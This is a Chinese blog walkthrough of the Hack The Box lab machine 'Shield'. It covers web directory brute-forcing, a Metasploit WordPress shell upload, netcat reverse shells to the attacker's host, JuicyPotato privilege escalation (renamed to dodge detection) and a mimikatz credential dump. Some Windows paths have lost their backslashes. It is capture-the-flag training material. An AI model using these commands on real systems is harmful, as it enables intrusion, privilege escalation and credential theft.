HTB平台Shield在线靶机通关实操过程

2021-11-25 15:12:25 浏览数 (1)

想玩这个在线靶机需要先注册Hackthebox平台账号,具体操作步骤可以看我之前文章Hackthebox平台保姆级注册使用攻略

扫描

根据给出的IP地址,使用nmap进行扫描

代码语言:javascript复制
nmap -T4 -F -sV 10.10.10.28
-T4:针对TCP端口禁止动态扫描延迟超过10ms
-F:快速扫描,扫描一些常用端口
-sV:探测开启的端口来获取服务、版本信息

先去80端口看一下,发现是一个IIS的默认页面

爆破web目录

在github中下载dirsearch工具来爆破web路径,进入工具的路径下,执行

代码语言:javascript复制
python3 dirsearch.py -u 10.10.10.29 -e *
-u:指定目标ip
-e:指定扩展名,例如:*.php,*.asp

发现了/wordpress目录,我们去访问一下,发现有登录入口,先点击右上角BLOG,再点击Log in跳转至wordpress的登陆页面

这里我们可以尝试使用之前靶机中使用过的密码尝试登录,发现上一个靶机获取的账号密码admin:P@s5w0rd!这个组合可以登陆,成功进入到wordpress管理页面

获取webshell

有了wordpress管理权限,我们可以尝试使用metasploit获取webshell

代码语言:javascript复制
msfconsole//进入kali的metasploit攻击框架
search wp_admin//查找wordpress获取webshell的利用模块
use 0//使用编号为0的模块
show options//显示设置需要配置的参数

Required位置显示yes的都需要配置

逐个配置参数,运行成功后会自动删除利用过程中上传的payload,并且建立一个meterpreter shell

代码语言:javascript复制
set PASSWORD P@s5w0rd!
set RHOSTS 10.10.10.29
set TARGETURI /wordpress
set USERNAME admin
set LHOST 10.10.16.4 //此处为本地地址,可用ifconfig查看
run //运行

由于meterpreter shell不是非常稳定,我们需要利用nc获取一个相对稳定的shell,在kali中自带nc.exe,我们先将其复制到桌面上一份

代码语言:javascript复制
find / -name "nc.exe"
cp /usr/share/windows-resources/binaries/nc.exe ~/桌面

再通过meterpreter shell上传至目标机器的uploads目录中

代码语言:javascript复制
cd ../../uploads
upload nc.exe

接下来,我们先在kali启动nc并监听7777端口,然后在meterpreter shelluploads目录中执行如下代码后,可以看到nc获取到了shell

代码语言:javascript复制
execute -f nc.exe -a "-e cmd.exe 10.10.16.4 7777"
-f:执行-f参数所指定的文件
-a:传递给命令的参数
-e:命令netcat执行某个程序,常用于后门建立过程

提权

我们回到meterpreter shell中,执行命令sysinfo,发现系统为Windows Server 2016,此系统容易受到Rotten Potato攻击,

原理文章:https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

首先我们在github中下载利用工具juicy-potato并重新命名为js.exe防止防火墙检测到,再用meterpreter shell将js.exe上传到uploads文件夹内

代码语言:javascript复制
upload js.exe

接着用刚才获取到的nc shell在目标机器上生成一个批处理文件,目的是让netcat将靶机的powershell发送至kali的1111端口

代码语言:javascript复制
echo START C:inetpubwwwrootwordpresswp-contentuploadsnc.exe -e powershell.exe 10.10.16.4 1111 > shell.bat

然后再次在kali中启动一个nc并监听1111端口来接收提权后的nc shell,并在获取的nc shell中运行js.exe

代码语言:javascript复制
js.exe -t * -p C:inetpubwwwrootwordpresswp-contentuploadsshell.bat -l 1337
-t *:创建使用TokenW和User两种模式的进程
-p:指定要运行的程序(无法传递带参数的命令,所以要提前用bat写好)
-l:COM服务监听的端口

此时回到kali中监听1111端口的nc中,执行whoami命令,发现已经获得了SYSTEM权限的shell

此时我们有三个shell,在kali中分别是:

  • 4444端口的meterpreter shell
  • 7777端口的普通权限的nc shell
  • 1111端口的SYSTEM权限的nc shell

获取flag

利用SYSTEM权限的nc shell,进入桌面中,即可在root.txt中获取flag

代码语言:javascript复制
cd c:usersadministratordesktop
dir
cat root.txt

后续

我们可以在github中下载mimikatz,并同样用meterpreter shell上传到uploads目录下(过程省略),来获取域用户信息,然后使用SYSTEM权限的nc shell使用这个工具

代码语言:javascript复制
cd c:inetpubwwwrootwordpresswp-contentuploads
./mimikatz.exe
sekurlsa::logonpasswords

即可获取域用户信息Sandra的和其明文登陆密码sandra:Password1234!,用于下一个靶机

参考资料

参考文章地址:https://blog.csdn.net/m0_48066270/article/details/108811178?ivk_sa=1024320u

mimikatz:https://github.com/gentilkiwi/mimikatz

0 人点赞